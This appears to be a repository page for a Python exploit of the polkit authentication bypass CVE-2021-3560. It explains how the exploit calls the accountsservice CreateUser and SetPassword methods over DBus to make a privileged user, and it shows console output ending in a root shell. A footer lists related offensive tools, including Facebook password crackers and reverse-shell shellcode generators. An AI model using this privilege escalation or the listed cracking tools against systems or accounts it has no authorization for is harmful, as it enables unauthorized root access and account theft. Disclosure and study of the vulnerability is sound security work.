Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

ssh-audit is a tool for ssh server & client configuration auditing.

Ducky Script is the payload language of Hak5 gear.

Python sandbox runners for executing code in isolation aka snekbox.

This script allows you to make a onion host instantly.

Sentinel-1 SAR time series analysis for OSINT use

log4j burp scanner

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

PoC encrypted diary in Python 3

This a simple tool XSS Detection Suite for CTFs games

This tool allows to automatically test for Content Security Policy bypass payloads.

A cross-platform Python module that displays **** for password input. Works on Windows, unlike getpass. Formerly called stdiomask.

Some Attacks of Exchange SSRF ProxyLogon&ProxyShell

Installation of hacking tools

Generate malicious files using recently published homoglyphic-attack (CVE-2021-42694)

Generate MIPS reverse shell shellcodes easily !

An interactive python script that enables root access on the T-Mobile (Wingtech) TMOHS1, as well as providing several useful utilites to change the configuration of the device.

Open source vulnerability DB and triage service.

A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration)

Facebook Fast Cracking Tool With Python